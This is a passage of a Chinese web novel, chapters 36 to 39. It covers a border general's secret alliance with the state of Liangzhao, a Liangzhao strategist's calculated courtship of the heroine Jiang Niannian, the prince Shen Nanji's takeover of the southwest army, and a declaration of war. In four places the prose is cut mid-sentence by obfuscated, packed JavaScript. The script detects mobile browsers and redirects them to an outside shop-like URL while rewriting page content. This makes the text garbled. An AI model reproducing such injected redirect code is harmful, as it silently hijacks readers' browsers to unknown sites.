慕辰朔知道这是魏临的警告,可他也的确受制于梁招国,所以也只能一而再再而三地给予他们让步。 回想早些年的时候,慕辰朔才刚刚来到西南,彼时的他也心怀抱负,企图能够做出一番事业。然而很快,现实就给了他沉重的一击,沈明承根本不在乎边境将士的生存,他将这些人安排到这个地方,就好像是将他们发配到此处,任由他们自生自灭。 所有人都渴望活着,谁都没有放弃活下去的希望,于是慕辰朔带着他们,艰难地在这样的环境下生活。他们就好像是一群被抛弃的将死之人,却仍心有不甘地在苟延残喘,很多时候,就连慕辰朔都在怀疑,他们这样究竟值不值得。 渐渐地,冻死饿死的人越来越多,长此以往下去,即便临近的那些国家还没攻打进来,他们的人就要先一步死在生存上。慕辰朔不得不想办法,尽可能地让更多的人活下去。 而也就在这时,其中一个邻国,也就是梁招国,突然派了人来,向他递来了交易的橄榄枝。为了整个西南军,慕辰朔答应了他们的要求。 然后,他成了梁招国攻向京城的爪牙。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338035|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 慕辰朔不是不知道梁招国的想法,不废一兵一卒,就可以击溃一个国家,任谁都会乐意去试上一试。而他也早就在日复一日的生活磋磨下,忘记了初时的雄心壮志。 梁招国将慕辰朔推出去,一来是为了掩人耳目,方便他们了解明安国,二来也是希望借慕辰朔的手,来操控明安国。表面上是慕辰朔不满沈明承的忽视,意图谋反,可真正在他背后推波助澜的,却是整个梁招国。 而魏临,则是梁招国安排的谋士,用以两方交流“合作”事宜。 慕辰朔在脑海里飞快地闪过了这些念头,最后像是自己安慰完了自己,于是卸了心中的气,回道:“知道了。” 他没有忘记自己的目的,眼看着就快要成功了,他不能功亏一篑。 坚持了这么久,他要亲眼看到沈明承从高位上摔下来,然后摔得粉身碎骨。 魏临听到慕辰朔那放缓的语气,也重新恢复了脸上的笑意,然后慕辰朔便听到他道:“我们喜欢听话的,所以,不要让我们觉得,你是一个令人讨厌的盟友。” 慕辰朔这次没有开口,他只是沉默地点了点头,算是告诉魏临,他听到了。 魏临见状,也不强求别人接话,转而才说起了正事,也算是他这次来的真正目的。 “你们的那位五皇子,是冲着你来的吧?消息不慎走漏到了京城,稳坐皇位的人根本没把你当回事,反倒是这位殿下,对这件事倒是很关心。” 慕辰朔听出了魏临话中的其他意思,他轻轻地皱了一下眉,问:“是你将消息传回京城的?” “慕将军这可就冤枉我了,这种多此一举的事情,处理起来可是很麻烦的。”魏临勾唇笑了笑,“我只不过偶然发现,你们西南郡的境内,有类似京城的探子,所以就让人不经意透了消息给他们。” “所以说到底,还是你们泄露的消息。”慕辰朔看着魏临,道。 “顺水推舟的事,这可不关我的事。”魏临耸了耸肩,道,“我只不过是想知道,究竟是谁注意到了西南郡的动向,想要以此来引出这个人罢了。” “然后就招惹来了皇族的人。” “谋逆可是杀头的大罪,稍有不慎可就是千古罪人,慕将军难道连这个准备都没有做好?”魏临轻笑一声,“其实消息传回京,有人前来也是意料之中,就算是装装样子,也是要安抚民心的。” “只不过便宜了沈明承,刚好让他能够借刀杀人。”慕辰朔嗤笑一声,讽刺道。 无论是他还是沈南寂,只要其中一人死在西南,那都是沈明承希望看到的。 看到慕辰朔说完之后,就一副若有所思的模样,魏临忍不住开玩笑道:“怎么,慕将军看到这般遭遇的五殿下,莫非心软了?” “怎么可能。”慕辰朔几乎是不假思索地回道,“我若是心软,就不可能在昨日设下埋伏,拦在他们的必经之路上。我如今的处境已是不成功便成仁,是没有回头路可走的。” “放心,我们梁招国会帮你的。”魏临笑道,“那我便预祝慕将军,得偿所愿。” 36. 偶遇 魏临和慕辰朔在营帐内又商量了一些具体事宜,随后便起身准备离开,跟在他身后的慕辰朔悄悄松了口气,心里暗道这个祖宗总算是走了。 就在慕辰朔以为,今天的意外就到此为止了的时候,没想到刚踏出营帐的魏临,却突然出了声,“那个人是谁?” “谁?”慕辰朔顺着魏临手所指的方向看去,便发现一个有些陌生的身影,但毕竟今天才见过,他也还是有些印象的,“是跟着沈南寂他们一起来的,应该就只是一个丫鬟。” “一个丫鬟啊……”魏临听到慕辰朔的话后,有些若有所思,像是在思索着什么。 慕辰朔一眼就看出了他的不对劲,急忙打断了他的想法,“她是跟着沈南寂的,不要多生事端。” “知道了。”魏临摆摆手,随即收回目光,转头对慕辰朔说道,“我先走了,有事我会再来找你的。” 慕辰朔想说“最好还是别来了”,可到底还是没有说出口,而是低低地“嗯”了一声。魏临避开旁人离开后,慕辰朔四下打量了一番,确定没有人注意到他们这边,才重新折返回营帐。 而与此同时,另一边的赵岳琦则已经回到了沈南寂所在的帐内,禀报道:“殿下,刚刚梁招国的人来见了慕辰朔,两人在营帐中谈了很久,那人才离开。不过他们周围有守卫在,我没敢太靠近,所以没听见他们具体聊了什么。” 慕辰朔虽然心中知道要提防着沈南寂等人,可毕竟他们一行人才刚抵达西南,所以慕辰朔也没想过,他们会在一来就开始秘密监视他们了。 “其实我也大概能猜到,今天梁招国的人来这里,是为了什么。”沈南寂听到赵岳琦的话后,不置可否地笑道,“梁招国的人坐不住,无非就是因为我突然来了西南,搅乱了他们原先的计划,所以想要联手先解决掉我罢了。” 赵岳琦也明白这个道理,可他还是不免有些担心地问道:“那殿下如今的处境岂不是很危险,不然我再多加派些人手到您身边来保护您?” “不必了,他们不会贸然在明面上做文章,至于背地里的小动作,那些护卫也起不到太大作用。”沈南寂摆摆手,拒绝了赵岳琦的提议,顿了顿又像是安抚道,“我自己会注意的。” 赵岳琦闻言也只得作罢,但还是不放心地嘱咐沈南寂,要注意身边的危险。 沈南寂虽是应着,可面上却并不显慌张,反而还一副好整以暇的模样。 赵岳琦见他这副表情,心底再次升起疑惑。他原以为沈南寂在陌生的环境下,多多少少会有些不适应,可事实却并非如此。沈南寂就好像是能够未卜先知一样,对所有事都了如指掌,并且还透着一种莫名的胸有成竹。 赵岳琦不知道这是不是他的错觉,但不可否认的是,这样的沈南寂的确会让大家更加容易信服。 从沈南寂这里出来后,赵岳琦迎面撞上了从外面回来的姜念念,他立马向姜念念打招呼道:“姜姑娘。” 姜念念闻言动作一顿,偏头看向了赵岳琦,“赵统领是有什么吩咐吗?” “吩咐不敢当。”赵岳琦摇头道,“只不过是想提醒一下姜姑娘,这里是西南,谁也不知道哪里藏着危险,所以还希望姜姑娘能够注意安全。” 这话虽然听着像是在警告,可是因为赵岳琦的神情和语气,都隐隐带着对姜念念的担忧和关心,所以姜念念也不觉得他这是在故意点她。 姜念念冲着赵岳琦笑了笑,“多谢赵统领提醒,我会注意的。” 赵岳琦见状,知道姜念念这是将自己的话听进去了,于是便行礼离开了原地,而姜念念则是也继续往回走。 · 接下来的几日,众人皆是安稳度过,沈南寂和慕辰朔也根本没有发生任何冲突。可是所有人都知道,即便表面上再风平浪静,内里恐怕也早已暗潮涌动。 不过唯一与这剑拔弩张的环境格格不入的,便是姜念念了。所有人都知道姜念念是沈南寂身边的人,再加上大家也都觉得,一个手无缚鸡之力的女子,也根本不会有任何的威胁,所以大家对于姜念念基本都是无视的状态。 很多时候,姜念念反倒更像是一个透明人,不过这倒也正中姜念念下怀。 得了沈南寂的允许,姜念念偶尔会在附近转悠一圈,不过知道这里危机四伏,就算别人没有刻意针对自己,她也有可能会被误伤,所以她出门的次数并不多。 她也不做多余的事情,旁人的放任不管,并不是无休止的纵容,这一点她比谁都清楚。一旦她做了什么举动,也许就会被盯上。所以,她只闲逛,就和许多初到一个地方的人一样,对周围的一切都充满了好奇心。 慕辰朔一开始也派人跟踪过姜念念,不过在得知她的举动之后,只轻蔑地笑了一声,随后便不再让人格外留意她了。 而就在这日,姜念念如往常一般出门时,却意外撞见了一个陌生的面孔。而在看到姜念念后,那人很明显也是一愣,似乎是没想到居然会在这种地方遇到一民女子。 西南郡本就与梁招国接壤,只不过明安国相对处于弱势,所以西南郡的普通百姓都搬离边境内数公里,而梁招国则不然。梁招国的边境除了有军营驻扎外,百姓也同样住在那里,甚至由于生活使然,他们还在这里做起了生意,并且这生意也不局限于梁招国,有时也会到明安国这边。 魏临上上下下打量了一圈姜念念,随即笑道:“这位姑娘,是明安国人?” 姜念念看着面前的青年,见他眉眼舒朗,面容俊逸,端得也是一副谦谦公子的模样,看着也不像是什么穷凶极恶之人,于是便点点头道:“是的。” 魏临闻言笑了笑,而后说道:“原来如此,难怪我之前没有见过姑娘。姑娘这般相貌,若是一眼见了,必当不会轻易忘记的。” 如果说最初离开京城的姜念念,像是滚落在地里的石头,那么如今的她就像是洗去一身泥尘,露出内里光彩的珠玉。本不起眼的她,好像在不知不觉间,就显露了原先的昳丽。 但这样便也更加惹眼。 “这么说来,公子莫非不是明安国的人?”姜念念状似不解地问道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13367586|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我是梁招国人。”不知是魏临坚信姜念念不会亦或是不敢把他供出去,还是他对姜念念说不说出去的这件事有恃无恐,魏临根本没有想要隐瞒自己来历的事情。 “梁招国居然能直接进入明安国境内吗?”姜念念微微睁大眼睛,有些疑惑地问。 “当然。”魏临轻轻一笑,随即像是对姜念念解释道,“两军交战,我们虽未受到大的影响,可也比不上战争停歇时候的生活。可即便如此,我们也还是要在其中讨生活。” “公子看起来,不像是生活不顺的样子。”姜念念道。 魏临闻言似是有些意外,他看了一眼姜念念,随即方才笑道:“姑娘看不出来吗?我是一名商人。” “原来如此。”姜念念恍然大悟地点点头,随即又问,“那公子现在是要?” 魏临明白姜念念的疑惑,他此时两手空空,既不像是来做生意,行迹确实有些可疑。不过他面上丝毫不显,笑着解释道:“我今日休息,只是来明安国游玩的。” 姜念念张口欲说些什么,可是随后又蓦地打住,她沉吟片刻,而后又笑道:“这样啊。”她顿了顿,随即又轻笑着道:“我瞧着公子衣着不凡,看起来也不像是缺少银两之人,居然也会在这种危险的地方行商吗?” 虽说梁招国百姓有梁招军护着,可是呆在本国境内,总归是要比在他国境内安全的。这一点任谁都能想到。 魏临对姜念念的话不以为意,“行商只是我的爱好,闲暇时用来打发时间,这样总好过整日无所事事呆在家中。” 魏临的这个理由恰到好处地解释了一切,至少能轻易打消一个涉世未深的女子的怀疑。果不其然,姜念念闻言也不再怀疑,恍然大悟地点了点头,魏临敛眸看着她,眼底闪过一丝兴味。 不过魏临也很懂得分寸,知晓再继续深聊下去,恐怕会引起对方的怀疑,于是便随便找了个理由,“我还有些事,今天就先回去了。而且要是再呆得久点,恐怕就会被你们明安军当成细作了。等以后有机会,我带你去梁招国看看?” 魏临最后留下一个问句,看似是把决定权交给姜念念,可他也笃定姜念念会答应。虽然这件事模棱两可,根本没有确切的时间,甚至连今后还能不能再见都是一回事,可也正因如此,才不会让人感到他是别有用心。 果不其然,魏临话音刚落,就听到姜念念应声道:“好啊。” 听到了令自己满意的回答,魏临微微勾唇,然后他又道:“哦对了,我来明安国的事情,还请姑娘替我保密。” 许是笃定姜念念根本不会再怀疑自己,魏临这次连多余的解释也没有。 “当然。”姜念念点点头,如他所料地那般,应下了自己的请求。 至此,魏临才向姜念念道了别,两人交谈时间不多,甚至没有交换姓名,为这也在魏临的计划之中。若是姜念念当真将他供出去,那不知道名字的她,也说不出什么所以然来,也许还会被明安国人怀疑。 而这结果,自然也是魏临所喜闻乐见的。 37. 阳春 出乎意料的是,姜念念并没有将自己与魏临的见面告知旁人,她的生活与先前并没有太大差别,就好像从未与谁有过接触。直到又过了半月之久,姜念念才又再次见到魏临。 见到之前有过一面之缘的人之后,魏临有些意外,嘴上却已经先一步将人叫住。 姜念念听到身后的招呼声,下意识地扭头看去,就见到魏临正站在身后不远处。见她回头,对方立即便抬手轻轻挥了挥。 等人走近,姜念念这才道:“是你。” 魏临轻笑一声,“好久不见了,没想到居然还能再见,我们还真有缘分。” 姜念念并不应声,只道:“公子今日又休息吗?” “是啊。”魏临微微颔首。 姜念念闻言,不禁莞尔,却并未开口。 魏临倒是并没觉得有什么,他顿了顿后便又再次开口道:“对了,上次走得着急,还没有来得及自我介绍。我叫魏临,降临的临。不知我可否请教姑娘的名字?” 魏临已经先一步自报了家门,姜念念自然不能拒绝,于是便道:“我叫姜念念,思念的念。” “姜念念……”魏临轻轻重复了一遍姜念念的名字,随后毫不含糊地夸赞道,“好名字。” 姜念念闻言回道:“谢谢,你的名字也不错。” 可能是察觉到姜念念对这个话题不感兴趣,魏临于是无比自然地转移了话题,“我看姜姑娘一直都在这附近,是在做什么吗?” “只是闲逛而已。”姜念念回答道,“一直呆着不动,也有些闷得慌。”顿了顿,姜念念又不禁似笑非笑地看了一眼魏临,“魏公子不是也因为这个原因,才会选择从商的吗?” “原来是这样,是我多想了。”魏临笑了笑,“姜姑娘和我遇到的其他女子,还真是不一样。” “哪儿不一样了?”姜念念偏了偏头,有些不解地问道。 “我若是说,姜姑娘比旁人美,姑娘会不会觉得我有些过于肤浅了。”魏临说着,自己也忍不住笑了声,随后又说道,“姑娘是我见过的女子中,最开朗明媚的人。” 而且若是寻常女子见了陌生男子,必定是会立马躲开,更别提与他说话了。不过仔细想想,普通人好像也不会跑到这边疆,即便是梁招国的那些妇人,多半也都是呆在家中,非必要绝不一个人抛头露面。 当然,魏临的这番话,并没有任何贬低之意,他也是真的感到好奇。 “多谢夸奖。”姜念念笑了笑,回道。 魏临点到即止,转而又笑问:“姑娘来边境应当有一段时间了,不知这边境可曾看完?” “没有。”这话姜念念倒是没有说谎,远离军营的地方,因为她在这里人生地不熟的,担心会遇到危险,而四周又无人回应,她的确是没有去过。 魏临闻言便道:“正好,我对明安国倒是有些了解,时常在忙碌之余,也会四周转转。姑娘若是信得过我,不如我带姑娘四处看看?这里是在明安境内,不会有事的。” “好啊。”姜念念点点头,应下了魏临的请求。 听到姜念念的回应,于是魏临便领着人在边境走了走,而他也正如自己所说的那样,只在明安国境内,同时也聊着一些无关紧要的话题。直到天色临近午时,两人才道别分开。 自这天之后,接下来的一段时间里,姜念念时不时就会遇到魏临,两人也逐渐熟悉了起来,时不时地魏临就会带着姜念念去一些没有去过的地方,而他们也都默契地没有向旁人提起过这事。 时间很快便来到了阳春三月。 这日,姜念念和魏临来到一处河边,河水潺潺,草长莺飞,风从水面拂过,携来一片恣意的温柔。袅袅花香浅淡,却依旧沁人心脾。 两人坐在柔软的草地上,借着微微的高坡,眺望着远处的景色。 “这样的日子,很快就要结束了。”魏临像是随口提起。 姜念念也能感觉到,这些时日军中的气氛越来越紧张,就好像是一根被拉紧的弦,它已经崩到了极致,只需再施加一点小小的力,就会彻底崩断。 一阵沉默过后,姜念念有些突兀地问道:“梁招国也会参与其中吗?” “姜姑娘说笑了,我只是一个商人,怎么可能会知道这种事。”魏临眨了眨眼睛,随即有些无辜地开口道。 姜念念似有所悟,微微点头:“这样啊。” 魏临看着姜念念,这些时日他也能够看出,姜念念并不似他先前所见的所有女子一般,事事都需要别人去拿主意。她有着清晰的自我认知,也知道为自己去谋划一切。 这样的人难以被三言两语蒙骗,同样也让人不忍用谎言去欺骗她。于是,魏临又似是而非地道:“螳螂捕蝉,黄雀在后,谁又能真正做到独善其身呢。” 听到魏临的这个回答,姜念念不免感到有些诧异,不过她也仅仅只是愣了一秒,随后就很快反应过来。魏临无非就是在告诉她,梁招国是必然会插手这件事罢了。 她不再多问,站起身来拍了拍裙上沾的泥尘,“时候不早了,我该回去了。” “姜姑娘。”魏临连忙出声叫住了姜念念,不知为何,他心底隐隐有一种预感,这将会是他们的最后一次见面。 姜念念扭头望去,问道:“还有什么事吗?” “明安国已经不见得有多安全了,两方争斗迟早会殃及无辜。所以我想问你,你愿意随我回梁招国吗?”魏临说道。 姜念念闻言,不禁有些古怪地看了一眼魏临。不过她虽然有些怀疑魏临说这话的真实目的,却还是拒绝道:“抱歉,恐怕不能。” “好吧,我已经猜到了。”魏临耸了耸肩,像是早就预料到了会是这样的结果,“虽然有点可惜,不过我还是尊重你的选择。” 姜念念看着他没说话,像是在思考着对方的内心想法。魏临面上依旧显得云淡风轻,甚至嘴角还噙着一抹笑意,他微微后退一步,说道:“回去吧。” 姜念念看了魏临一眼,他眼底像是蒙着晦暗的光,叫人看不清他的神情。她没再多话,只是向人道了别,随后便转身离去。姜念念不曾知道的是,在她离去后,魏临却并没有直接离开,而是仍旧站在原地,看着她离去的方向,一副若有所思的模样。 他原先藏在眼底的晦暗,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369743|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此刻完全暴露了出来,不笑时周身都散发着危险的气息。他神色淡漠,直到眼前再看不到人影时,他才像是低喃一般,轻声说了一句:“可惜了……” 话音落下,他的指尖轻轻拂上衣袖,像是惮去袖上灰尘,随后才漫不经心地抽身离去。 · 回到军中的姜念念,恰好撞见了段云澜,见到她,对方很明显是愣了一下,随即笑着向人打了声招呼,“姜念念,好巧啊。” 姜念念也有些意外,“这个时间,你怎么还会在这里?” 往日里,段云澜这个时候应当都在和那些士兵们在练武,断然是不会在这里。想到这里,姜念念不禁有些狐疑地望着段云澜,面露怀疑。 “哎,打住打住,不是你想的那样!”段云澜立马就看出了姜念念在想什么,他连忙道,“是沈南寂叫我回来的。” 得到这个回答,姜念念这才了然地点点头,“这样啊。” 两人正聊着,一道声音突然打断了他们,“你怎么还在这?” 姜念念和段云澜同时扭头望去,就见沈南寂不知何时出了营帐,正好整以暇地望着他们。 “这不是刚好遇到姜念念,就跟她聊了一会。我现在就走。”段云澜说着,和姜念念打了声招呼之后,就转身离开。 眼下周围也没有旁人,于是姜念念走近沈南寂,问道:“段云澜刚刚说你找他,是因为慕家的事吗?” “是慕玲月从京城来了消息,她在信里跟我说了一些无关紧要的事,然后让我看在她的面子上,留慕辰朔一命。”沈南寂哼笑一声,声音里不乏轻蔑与嘲弄,“她之前一直没有动静,眼下却突然来了信,估计是她一开始有恃无恐,觉得我不会将慕辰朔怎么样,又或者觉得我也到不了西南,结果现在知道我不仅活着,还真的打算对慕辰朔动手,这才知道慌了。” “她替慕辰朔求情?”姜念念有些狐疑道。 “慕辰朔是她弟弟,这么做也无可厚非。” 姜念念有些不解,总觉得沈南寂的态度有点不对,旋即她突然想到了什么,“她是跟你说了什么吗?” 话音刚落,姜念念就发现沈南寂的神情未变,她立马就明白是自己猜对了。 “怎么了?”姜念念不禁有些担忧地追问道。 听到姜念念询问,沈南寂才如梦初醒般,条件反射地摇了摇头,“没什么。”他顿了顿,又补充了一句,“只是一些无关紧要的小事,也许以前我会在意那些事,但现在我已经不在乎了。” 见沈南寂似乎不愿多说,姜念念也只得作罢,不过心底却对这件事有些在意。不过想到刚刚段云澜见过沈南寂,不知道沈南寂是否对他说了这件事。 “那她让你放过慕辰朔,你打算怎么办?”姜念念问道。 “她是来求我,不过我可没答应她。”沈南寂冷笑一声,毫不在意地回答道,然后他突然面色一僵,看向姜念念,“姐姐会觉得我这么做,太过不近人情了吗?” 姜念念闻言一愣,随即摇了摇头,“慕家的事,不是我们三言两语就能够说清的,但即便如此,他们的做法也已经违背了准则。” 38. 战书 过去了这么久,姜念念自然也听说了一些关于慕辰朔的事情,知道他们初到西南郡时所经历的那些。她生在自由的现代,会为在巍巍皇权下拼命求存的人们感到不忍和惋惜,但这不是慕辰朔借此剥削普通百姓的理由。 如果仅仅是因为自己的不幸,就要去欺凌手无寸铁的普通人,那慕辰朔的做法又和沈明承有什么区别? 沈南寂缓缓勾唇,姜念念的想法很好懂,他一直都知道,而他也不得不承认,很多时候他在姜念念面前,也都刻意地伪装成她所喜欢的样子。 想到这,沈南寂的眼底闪过一抹暗色,再次抬起眼睛时,却已经是恢复如常,他状似无意地说道:“对了姐姐,这几天我忙着军中的事务,姐姐一个人无聊吗?” “我还好。”姜念念应着。 沈南寂若有所思地点点头,随即道:“我听说姐姐最近,好像认识了一个新朋友,怎么从来不见他?” 姜念念突然就明白过来,沈南寂这哪是在问她无不无聊,分明是在旁敲侧击关于魏临的事,她有些忍俊不禁道:“怎么突然问起这个?” 沈南寂这才板起脸来,似是认真道:“我这是在担心姐姐。我已经打听过了,那个人叫魏临,是个梁招国人。” “这些他都和我说了。”姜念念点点头,回道。 “那他说过,自己是什么人了吗?”沈南寂神色不虞,没料到魏临居然还真的坦白了自己的身份,不过想想也是,对方若当真有恃无恐,那在这件事上也确实没有隐瞒的必要,况且有些事真假参半才更能让人信服,“我已经派人调查过了,他是梁招国的一位谋士,慕辰朔的事他也有参与。” 沈南寂说完之后,似是担心姜念念不信,亦或者觉得是自己污蔑魏临,还小心地观察了一下她的神色。但姜念念的面色平静,表面根本看不出有任何的异常,他一时也不知道姜念念是在想什么。 见姜念念一直没有说话,沈南寂只能又继续说道:“那魏临最擅伪装,为人也绝非善类,他刻意接近你,难保不是有什么别的目的。” 听到沈南寂这话,姜念念才终于轻笑一声,“你说了这么多,就是不想让我再和魏临有所往来吧?” “我也是为了姐姐的安全着想。”沈南寂正色道。 姜念念顿了顿,随即才说道:“好吧,其实你说的这些,我也都知道。” 话音未落,姜念念就接收到了沈南寂狐疑的目光,姜念念耸了耸肩,不紧不慢地解释道:“实在是他的行为太过明显,他的出现太过刻意了。” 沈南寂微微挑眉,没有说话。 姜念念不紧不慢地解释道:“商贸往来确实无可厚非,不过眼下明安国与梁招国气氛紧张,其他商人根本不会选择在这个时候来到明安国,而他居然这么直接堂而皇之地来明安国游玩,一点都不担心自己会不会有危险,甚至这么多天也根本没有任何人发现过他,这一切就好像是在刻意避开他一样。” 听到姜念念这条理清晰的一番解释,沈南寂的脸色终于好看了一些,“既然你知道……” “既然我知道,为什么没有戳穿他,甚至还一直跟他有来往,是吗?”姜念念接过了沈南寂的话,将他没有说完的话补充完。 沈南寂迟疑了一会,还是点了点头。 “既然他找上我,必定是有所图谋,他没有直接对我做什么,恐怕也是因为此事。”姜念念道,“而且我想,如果是我的话,也许能从他那里打探到一些,于我们有利的消息。” 生长在这样一个男子专权的时代里,大多数人都无法真正做到对女子的一视同仁,即便是魏临这样的人,他在明知姜念念可能也别有目的地答应他邀约,却还是会自大到觉得自己可以掌控全局。 这是人们刻在骨子里的天性,不是一两天就可以改变得了的。 “可是这样你会有危险。”沈南寂听懂了姜念念的意思,可他却仍是皱眉,不过他也并没有直接指责姜念念,而是商量般地说道,“我们谁也不能保证,魏临会不会在哪一天对你出手,不是吗?” “我知道,不过你应该不用担心这件事了。”迎着沈南寂狐疑的目光,姜念念道,“今天在离开之前,我和他应该算是已经做了最后的道别,之后应该就不会再见面了。” 沈南寂闻言,神情微变,像是在思索着什么,“是吗?” “嗯,我想也是和那件事有关吧。”姜念念道。 经由姜念念提醒,沈南寂这才想起另一件事,“后面的一段时间,可能就不会像现在这样,刻意和慕家维持着表面的平静了。到时就要委屈姐姐,尽量不要外出。” 姜念念立马会意,点头应了一声。 短暂的谈话结束之后,接下来的很长一段时间,姜念念都没有见到过沈南寂,亦或者说是包括沈南寂在内的所有人。姜念念知道这是发生了什么,于是她像之前答应沈南寂的那样,只安静呆在自己的帐篷内,即便听到外面有什么动静,她也绝不好奇出去查看。 最终在一月之后,沈南寂彻底掌控了西南军。归降的人皆被沈南寂收入麾下,而那些抵死顽抗的人,最终都成了一缕亡魂。慕辰朔则被生擒,即便众人再不想留他性命,可关于他的命运,最终也还是需要待到沈明承来定夺。在那之前,他先被押入了牢中。 而在慕辰朔被押进牢里之前,说什么也要见沈南寂一面。属下将这个消息报告给沈南寂之后,沈南寂倒是没有犹豫太久,就直接答应了他的要求。段云澜和赵岳琦是不太沈南寂这个决定的,可他们劝不住沈南寂,也就只能让他去了。 由于慕辰朔自己的要求,沈南寂是一个人去见的慕辰朔,两人在单独的帐篷内,谁也不知道他们聊了什么,只知道他们在里面呆了许久。而两人再出来时,众人观察沈南寂的脸色如常,反倒是慕辰朔,像是受到了巨大的打击似的,整个人都有些恍惚。 众人见状,不禁将目光投向了沈南寂,可是后者却丝毫没有受到影响,反而还在他们看向自己时,好整以暇地挑了挑眉,而后问道:“怎么了?” 事已至此,众人自然不敢多问,只能强压下满腹的好奇心,目送着慕辰朔无知无觉地被人推搡着远离。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434613|131528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 看他那个样子,似乎是有些发癔症。明明之前还好好的,见过沈南寂之后,人突然就有些疯了,这其中是因为什么,早已不言而喻。不过即便知道是沈南寂做的,众人也没有觉得这有什么不对,甚至还觉得大快人心。 “他这样回去,就算陛下看在贵妃的面子上,将人给放了,估计也成不了什么事了。”段云澜站在沈南寂的身侧,忍不住感叹道。 一个可能连生活都不能自理的疯子,谁还会担心他会造成什么威胁呢? 沈南寂闻言,神情莫辨地看着慕辰朔离去的方向,良久后他微微勾了勾唇角,缓缓道:“谁知道呢。” 慕辰朔被擒一事,并没有让整件事结束,解决了一个慕家,梁招国却还在虎视眈眈。先前与慕辰朔交手时,沈南寂等人不是没有怀疑过,梁招国会不会从中介入,然而令他们意外的是,从始至终梁招国都没有任何动静,就连之前一直与慕辰朔有往来的魏临,也突然变得杳无音信。 在这期间,慕辰朔不知一次寻求过梁招国的帮助,但最终消息都石沉大海。正因如此,也让原本胸有成竹的慕辰朔一时乱了方寸,在和沈南寂周旋了月余之后,终究还是沦为了沈南寂的手下败将。 对此段云澜给出的评价是:到底是个武将,心思再怎么弯弯绕绕,也不可能绕得过在皇宫里活了这么多年的沈南寂。还是太单纯了。 魏临全然就是在利用他,他在明知道这一切的情况下,居然还觉得自己可以洞悉一切,毫无保留地相信魏临。不过这么做的结果就是,最终被魏临当作一个废弃的棋子,彻底舍弃。 不过眼下慕辰朔已经被擒,那么明安与梁招之间的问题,也彻底被摆在了明面上。 两国必有一战,只不过是早晚的事。 这一点,任何人都清楚。 在这之前,沈南寂在赵岳琦以及军中老将的帮助下,快速熟悉了各种军中事项,同时留心着梁招国那边的动静。 也许是知道慕辰朔再也掀不起波澜,亦或者是知道此刻的形势已经愈发严峻,刚归降的士兵们也没有什么不满的动作,每天都按部就班地开始训练。 而沈明承似乎是忘了自己还有这么一个儿子,自从他来了西南之后,就再也没有任何的消息。不过除了程兆续那次,他似乎也没再让人来取他性命。当然,沈南寂不会因此就会认为,是沈明承心软放过了他,相反的,也许沈明承更愿意相信他会死在战场上。 但是,如今的他,已经根本不会在乎这些。 刚刚进了帐篷的赵岳琦,看着沈南寂手撑着下颚,陷入沉思的模样,一时感到有些稀奇,也没有出声打搅。 可是沈南寂很快就注意到了他的存在,他顿了顿,随即放下手来,问道:“怎么了?” 赵岳琦立马回神,诚实地答道:“就是很少看到殿下出神。” 沈南寂怔了一下,轻笑了笑,却并没有答话。他转移了话题,问道:“你找我什么事?” 赵岳琦这才被提醒,他上前一步,将手中的信笺放到了桌上,“梁招国下战书了。” 39. 休止 没有任何征兆,也没有任何的起因,但一切的开始又合情合理,谁也没有感到意外。 不过因为早有预料,沈南寂等人也早就做好了准备,此时也根本并不慌乱。甚至赵岳琦还开玩笑似的说道:“眼下正值春日,若是幸运,殿下或许还能赶得上在新年前回京。” 沈南寂闻言,却并没有露出多喜悦的神情,赵岳琦显然也是想到了什么,非常自然地岔开话题,没再继续说下去。 不过彼时的他们并不知道,沈南寂最终到底是没有在新年前返回京城。 战争开始后,两方居然也打得势均力敌,谁也没有占了上风。不过谁都清楚,这种持久战对于梁招国而言,是更加有利的。梁招军有朝廷的助力,会有源源不断的丰厚供给,而西南军大多依靠的却只有自己。 对于这种情况,军中的老将深感无奈,“当初陛下将我们派遣来西南,之后便再不过问,我们也是无奈之下,才不得不……” 话说到一半,老兵的话音一顿,他小心翼翼地观察了一下沈南寂的脸色,不过后者却并没有因为他的话而发怒。 